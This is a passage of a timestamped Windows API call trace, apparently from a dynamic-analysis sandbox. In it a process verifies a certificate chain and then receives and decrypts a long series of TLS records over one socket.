	[0072.355] CertDuplicateCRLContext (pCrlContext=0x284bb60) returned 0x284bb60
	[0072.355] CertEnumCertificatesInStore (hCertStore=0x3122b0, pPrevCertContext=0x284bb60) returned 0x0
	[0072.355] CertCloseStore (hCertStore=0x3122b0, dwFlags=0x0) returned 1
	[0072.356] CertFreeCRLContext (pCrlContext=0x284bb60) returned 1
	[0072.365] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x3121e0
	[0072.365] CertAddCRLLinkToStore (in: hCertStore=0x3121e0, pCrlContext=0x284bc60, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1
	[0072.368] CertAddCRLLinkToStore (in: hCertStore=0x3121e0, pCrlContext=0x284bbe0, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1
	[0072.368] CertAddCRLLinkToStore (in: hCertStore=0x3121e0, pCrlContext=0x284bb60, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1
	[0072.370] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x284bb60, pTime=0x1c69bb48, hAdditionalStore=0x3121e0, pChainPara=0x1c69bb50, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x1c69bb40 | out: ppChainContext=0x1c69bb40) returned 1
	[0072.569] CertDuplicateCertificateChain (pChainContext=0x1c773500) returned 0x1c773500
	[0072.571] CertDuplicateCRLContext (pCrlContext=0x284bb60) returned 0x284bb60
	[0072.571] CertDuplicateCRLContext (pCrlContext=0x1c7be4a0) returned 0x1c7be4a0
	[0072.571] CertDuplicateCRLContext (pCrlContext=0x1c7be520) returned 0x1c7be520
	[0072.571] CertFreeCertificateChain (pChainContext=0x1c773500) 
	[0072.572] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x1c773500, pPolicyPara=0x1c69bcc8, pPolicyStatus=0x1c69bca8 | out: pPolicyStatus=0x1c69bca8) returned 1
	[0072.572] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x1c773500, pPolicyPara=0x1c69bda0, pPolicyStatus=0x1c69bd88 | out: pPolicyStatus=0x1c69bd88) returned 1
	[0072.574] CertFreeCertificateChain (pChainContext=0x1c773500) 
	[0072.574] CertFreeCRLContext (pCrlContext=0x284bb60) returned 1
	[0072.578] EncryptMessage (in: phContext=0x1c69c350, fQOP=0x0, pMessage=0x2fe5fe8, MessageSeqNo=0x0 | out: pMessage=0x2fe5fe8) returned 0x0
	[0072.578] send (in: s=0x4ec, buf=0x2fe5d20*, len=117, flags=0 | out: buf=0x2fe5d20*) returned 117
	[0072.582] setsockopt (s=0x4ec, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0
	[0072.582] recv (in: s=0x4ec, buf=0x2fe6148, len=5, flags=0 | out: buf=0x2fe6148*) returned 5
	[0072.602] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.604] DecryptMessage (in: phContext=0x1c69bf10, pMessage=0x2fe6820, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x2fe6820, pfQOP=0x0) returned 0x0
	[0072.794] setsockopt (s=0x4ec, level=65535, optname=4102, optval="\xe0\x93\x04", optlen=4) returned 0
	[0072.794] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.794] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.795] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x2ff9000, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x2ff9000, pfQOP=0x0) returned 0x0
	[0072.795] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.795] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.795] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x2ffa208, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x2ffa208, pfQOP=0x0) returned 0x0
	[0072.795] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.795] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.796] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x2ffc410, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x2ffc410, pfQOP=0x0) returned 0x0
	[0072.796] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.796] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.796] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x2ffc600, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x2ffc600, pfQOP=0x0) returned 0x0
	[0072.796] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.796] recv (in: s=0x4ec, buf=0x2fe616d, len=96, flags=0 | out: buf=0x2fe616d*) returned 96
	[0072.796] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x2ffc7f0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x2ffc7f0, pfQOP=0x0) returned 0x0
	[0072.796] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.796] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.797] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x2ffc9e0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x2ffc9e0, pfQOP=0x0) returned 0x0
	[0072.797] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.797] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.797] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3000be8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3000be8, pfQOP=0x0) returned 0x0
	[0072.797] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.797] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.797] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3000dd8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3000dd8, pfQOP=0x0) returned 0x0
	[0072.797] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.797] recv (in: s=0x4ec, buf=0x2fe616d, len=112, flags=0 | out: buf=0x2fe616d*) returned 112
	[0072.798] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3000fc8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3000fc8, pfQOP=0x0) returned 0x0
	[0072.798] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.798] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.798] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x30011b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x30011b8, pfQOP=0x0) returned 0x0
	[0072.798] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.798] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.799] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x30013a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x30013a8, pfQOP=0x0) returned 0x0
	[0072.799] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.799] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.799] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3001598, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3001598, pfQOP=0x0) returned 0x0
	[0072.799] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.799] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.799] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3001788, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3001788, pfQOP=0x0) returned 0x0
	[0072.799] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.799] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.800] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3009990, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3009990, pfQOP=0x0) returned 0x0
	[0072.800] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.800] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.800] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3009b80, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3009b80, pfQOP=0x0) returned 0x0
	[0072.800] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.800] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.800] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3009d70, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3009d70, pfQOP=0x0) returned 0x0
	[0072.800] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.800] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.801] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3009f60, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3009f60, pfQOP=0x0) returned 0x0
	[0072.801] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.801] recv (in: s=0x4ec, buf=0x2fe616d, len=256, flags=0 | out: buf=0x2fe616d*) returned 256
	[0072.801] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x300a150, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x300a150, pfQOP=0x0) returned 0x0
	[0072.801] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.801] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.801] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x300a340, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x300a340, pfQOP=0x0) returned 0x0
	[0072.801] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.801] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.802] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x300a530, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x300a530, pfQOP=0x0) returned 0x0
	[0072.802] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.802] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.802] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x300a720, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x300a720, pfQOP=0x0) returned 0x0
	[0072.802] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.802] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.802] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x300a910, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x300a910, pfQOP=0x0) returned 0x0
	[0072.802] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.803] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.803] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x300ab00, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x300ab00, pfQOP=0x0) returned 0x0
	[0072.803] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.803] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.803] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x300acf0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x300acf0, pfQOP=0x0) returned 0x0
	[0072.803] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.803] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.804] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x300aee0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x300aee0, pfQOP=0x0) returned 0x0
	[0072.804] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.804] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.804] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301b0e8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301b0e8, pfQOP=0x0) returned 0x0
	[0072.804] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.804] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.804] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301b2d8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301b2d8, pfQOP=0x0) returned 0x0
	[0072.804] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.804] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.805] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301b4c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301b4c8, pfQOP=0x0) returned 0x0
	[0072.805] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.805] recv (in: s=0x4ec, buf=0x2fe616d, len=320, flags=0 | out: buf=0x2fe616d*) returned 320
	[0072.805] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301b6b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301b6b8, pfQOP=0x0) returned 0x0
	[0072.805] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.805] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.805] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301b8a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301b8a8, pfQOP=0x0) returned 0x0
	[0072.805] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.805] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.806] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301ba98, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301ba98, pfQOP=0x0) returned 0x0
	[0072.806] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.806] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.806] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301bc88, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301bc88, pfQOP=0x0) returned 0x0
	[0072.806] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.806] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.806] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301be78, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301be78, pfQOP=0x0) returned 0x0
	[0072.807] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.807] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.807] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301c068, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301c068, pfQOP=0x0) returned 0x0
	[0072.807] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.807] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.807] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301c258, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301c258, pfQOP=0x0) returned 0x0
	[0072.807] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.808] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.808] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301c448, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301c448, pfQOP=0x0) returned 0x0
	[0072.808] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.808] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.808] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301c638, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301c638, pfQOP=0x0) returned 0x0
	[0072.809] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.809] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.809] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301c828, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301c828, pfQOP=0x0) returned 0x0
	[0072.809] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.809] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.809] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301ca18, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301ca18, pfQOP=0x0) returned 0x0
	[0072.809] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.809] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.810] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301cc08, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301cc08, pfQOP=0x0) returned 0x0
	[0072.810] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.810] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.810] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301cdf8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301cdf8, pfQOP=0x0) returned 0x0
	[0072.810] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.810] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.810] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301cfe8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301cfe8, pfQOP=0x0) returned 0x0
	[0072.810] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.810] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.811] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301d1d8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301d1d8, pfQOP=0x0) returned 0x0
	[0072.811] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.811] recv (in: s=0x4ec, buf=0x2fe616d, len=160, flags=0 | out: buf=0x2fe616d*) returned 160
	[0072.811] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301d3c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301d3c8, pfQOP=0x0) returned 0x0
	[0072.811] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.811] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.811] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301d5b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301d5b8, pfQOP=0x0) returned 0x0
	[0072.811] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.811] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.811] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301d7a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301d7a8, pfQOP=0x0) returned 0x0
	[0072.812] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.812] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.812] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301d998, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301d998, pfQOP=0x0) returned 0x0
	[0072.812] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.812] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.812] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301db88, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301db88, pfQOP=0x0) returned 0x0
	[0072.812] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.812] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.813] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301dd78, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301dd78, pfQOP=0x0) returned 0x0
	[0072.813] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.813] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.813] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301df68, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301df68, pfQOP=0x0) returned 0x0
	[0072.813] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.813] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.813] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301e158, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301e158, pfQOP=0x0) returned 0x0
	[0072.814] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.814] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.814] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301e348, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301e348, pfQOP=0x0) returned 0x0
	[0072.814] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.814] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.814] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301e538, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301e538, pfQOP=0x0) returned 0x0
	[0072.814] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.814] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.814] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301e728, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301e728, pfQOP=0x0) returned 0x0
	[0072.815] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.815] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.815] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301e918, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301e918, pfQOP=0x0) returned 0x0
	[0072.815] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.815] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 1440
	[0072.815] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301eb08, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301eb08, pfQOP=0x0) returned 0x0
	[0072.815] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.815] recv (in: s=0x4ec, buf=0x2fe616d, len=1440, flags=0 | out: buf=0x2fe616d*) returned 612
	[0072.815] recv (in: s=0x4ec, buf=0x2fe63d1, len=828, flags=0 | out: buf=0x2fe63d1*) returned 828
	[0072.818] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301ecf8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301ecf8, pfQOP=0x0) returned 0x0
	[0072.818] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.819] recv (in: s=0x4ec, buf=0x2fe616d, len=672, flags=0 | out: buf=0x2fe616d*) returned 619
	[0072.819] recv (in: s=0x4ec, buf=0x2fe63d8, len=53, flags=0 | out: buf=0x2fe63d8*) returned 53
	[0072.819] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x301eee8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x301eee8, pfQOP=0x0) returned 0x0
	[0072.820] recv (in: s=0x4ec, buf=0x2fe6168, len=5, flags=0 | out: buf=0x2fe6168*) returned 5
	[0072.820] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 8870
	[0072.820] recv (in: s=0x4ec, buf=0x302128b, len=7546, flags=0 | out: buf=0x302128b*) returned 7546
	[0072.821] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3023118, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3023118, pfQOP=0x0) returned 0x0
	[0072.821] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.821] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 1161
	[0072.821] recv (in: s=0x4ec, buf=0x301f46e, len=2487, flags=0 | out: buf=0x301f46e*) returned 2487
